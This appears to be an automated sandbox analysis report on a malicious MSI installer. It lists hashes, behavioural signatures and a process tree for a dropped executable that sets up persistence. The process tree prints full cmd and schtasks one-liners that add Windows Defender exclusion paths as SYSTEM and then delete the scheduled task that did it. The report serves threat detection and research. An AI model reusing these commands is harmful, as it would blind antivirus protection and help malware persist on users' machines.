Analysis
- max time kernel
150s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
02/08/2026, 12:10
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_s0up020.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_s0up020.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
15 signatures
150 seconds
General
- Target install_s0up020.msi
- Size 8.4MB
- Sample260802-pb5vxasemg
- SHA256 ab061d0290ae0cdeccfaab45cd4ed50cca20aab18d78f6994ebe1879d5d46f05
- MD5 eae703012ed9f007f492e455eb780e2d
- SHA1 f30cc47d7e2dca32d16c5acc71cd38ba82738aea
- SHA512 0c39942e6a035c8ee1c003ce3c3dd358918e2156d93922a7d1d2a6d722df7c97c45fa84fca5337d9912ac6d540c3a5b8c068152d1e5b81787ed6bd3c64f66772
- SSDEEP 196608:teYoEK3ZuNoZ1fpYyHz158sp0MP5eRcta+t5amBosTCV4mzNVf7VE:sEmuNET15p3tSmBZCVxHpE
- TLSH T1B99633C53CC76732C0DBC7B2D9A3294DB0993FC4BE768D0AB5A43A186E3532654B0B95
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation 3C5b1b.exe - Executes dropped EXE 1 IoCs
pid Process 880 3C5b1b.exe - Loads dropped DLL 2 IoCs
pid Process 2376 MsiExec.exe 880 3C5b1b.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\6MkdIQ\\3C5b1b.exe\"" 3C5b1b.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 27 2376 MsiExec.exe 29 2376 MsiExec.exe 43 2376 MsiExec.exe 44 2376 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3988 cmd.exe 4736 cmd.exe 4768 cmd.exe 3496 cmd.exe 3312 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 3C5b1b.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI52C0.tmp msiexec.exe File created C:\Windows\Installer\e585128.msi msiexec.exe File opened for modification C:\Windows\Installer\e585128.msi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File opened for modification C:\Windows\Installer\MSI5213.tmp msiexec.exe File created C:\Windows\Installer\e58512a.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4532 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2992 cmd.exe 2676 cmd.exe 3272 cmd.exe 3748 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000aea20acdcfb7d9ac0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000aea20acd0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900aea20acd000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aaea20acd000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1daea20acd000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up020.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "183135B4B38CD57439A0D6CBE23F3FBF" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3260 schtasks.exe 4048 schtasks.exe 3956 schtasks.exe 2100 schtasks.exe 4648 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4004 msiexec.exe 4004 msiexec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 2376 MsiExec.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe 880 3C5b1b.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 672 Process not Found 672 Process not Found 672 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4532 msiexec.exe Token: SeIncreaseQuotaPrivilege 4532 msiexec.exe Token: SeSecurityPrivilege 4004 msiexec.exe Token: SeCreateTokenPrivilege 4532 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4532 msiexec.exe Token: SeLockMemoryPrivilege 4532 msiexec.exe Token: SeIncreaseQuotaPrivilege 4532 msiexec.exe Token: SeMachineAccountPrivilege 4532 msiexec.exe Token: SeTcbPrivilege 4532 msiexec.exe Token: SeSecurityPrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeLoadDriverPrivilege 4532 msiexec.exe Token: SeSystemProfilePrivilege 4532 msiexec.exe Token: SeSystemtimePrivilege 4532 msiexec.exe Token: SeProfSingleProcessPrivilege 4532 msiexec.exe Token: SeIncBasePriorityPrivilege 4532 msiexec.exe Token: SeCreatePagefilePrivilege 4532 msiexec.exe Token: SeCreatePermanentPrivilege 4532 msiexec.exe Token: SeBackupPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeShutdownPrivilege 4532 msiexec.exe Token: SeDebugPrivilege 4532 msiexec.exe Token: SeAuditPrivilege 4532 msiexec.exe Token: SeSystemEnvironmentPrivilege 4532 msiexec.exe Token: SeChangeNotifyPrivilege 4532 msiexec.exe Token: SeRemoteShutdownPrivilege 4532 msiexec.exe Token: SeUndockPrivilege 4532 msiexec.exe Token: SeSyncAgentPrivilege 4532 msiexec.exe Token: SeEnableDelegationPrivilege 4532 msiexec.exe Token: SeManageVolumePrivilege 4532 msiexec.exe Token: SeImpersonatePrivilege 4532 msiexec.exe Token: SeCreateGlobalPrivilege 4532 msiexec.exe Token: SeBackupPrivilege 3712 vssvc.exe Token: SeRestorePrivilege 3712 vssvc.exe Token: SeAuditPrivilege 3712 vssvc.exe Token: SeBackupPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeBackupPrivilege 2360 srtasks.exe Token: SeRestorePrivilege 2360 srtasks.exe Token: SeSecurityPrivilege 2360 srtasks.exe Token: SeTakeOwnershipPrivilege 2360 srtasks.exe Token: SeBackupPrivilege 2360 srtasks.exe Token: SeRestorePrivilege 2360 srtasks.exe Token: SeSecurityPrivilege 2360 srtasks.exe Token: SeTakeOwnershipPrivilege 2360 srtasks.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe Token: SeTakeOwnershipPrivilege 4004 msiexec.exe Token: SeRestorePrivilege 4004 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4532 msiexec.exe 4532 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4004 wrote to memory of 2360 4004 msiexec.exe 93 PID 4004 wrote to memory of 2376 4004 msiexec.exe 95 PID 880 wrote to memory of 3988 880 3C5b1b.exe 112 PID 880 wrote to memory of 4736 880 3C5b1b.exe 114 PID 3988 wrote to memory of 3260 3988 cmd.exe 116 PID 4736 wrote to memory of 4048 4736 cmd.exe 117 PID 3988 wrote to memory of 4140 3988 cmd.exe 118 PID 4736 wrote to memory of 3968 4736 cmd.exe 119 PID 3988 wrote to memory of 2264 3988 cmd.exe 122 PID 4736 wrote to memory of 4612 4736 cmd.exe 123 PID 880 wrote to memory of 4768 880 3C5b1b.exe 125 PID 4768 wrote to memory of 3956 4768 cmd.exe 127 PID 4768 wrote to memory of 728 4768 cmd.exe 129 PID 2992 wrote to memory of 4496 2992 cmd.exe 130 PID 4768 wrote to memory of 3044 4768 cmd.exe 133 PID 2676 wrote to memory of 2220 2676 cmd.exe 134 PID 880 wrote to memory of 3496 880 3C5b1b.exe 135 PID 3496 wrote to memory of 2100 3496 cmd.exe 137 PID 3496 wrote to memory of 312 3496 cmd.exe 138 PID 3496 wrote to memory of 3276 3496 cmd.exe 141 PID 3272 wrote to memory of 4844 3272 cmd.exe 142 PID 880 wrote to memory of 3312 880 3C5b1b.exe 143 PID 3312 wrote to memory of 4648 3312 cmd.exe 145 PID 3312 wrote to memory of 2660 3312 cmd.exe 146 PID 3312 wrote to memory of 3356 3312 cmd.exe 149 PID 3748 wrote to memory of 2240 3748 cmd.exe 150 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up020.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4532
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2360
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding FD3DE46F1253DCCB4738B99CAB8A1515 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2376
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3712
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C:\Users\Public\6MkdIQ\3C5b1b.exeC:\Users\Public\6MkdIQ\3C5b1b.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6MkdIQ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6MkdIQ\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3260
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4140
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4048
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3968
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3956
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:728
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2100
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:312
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4648
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2660
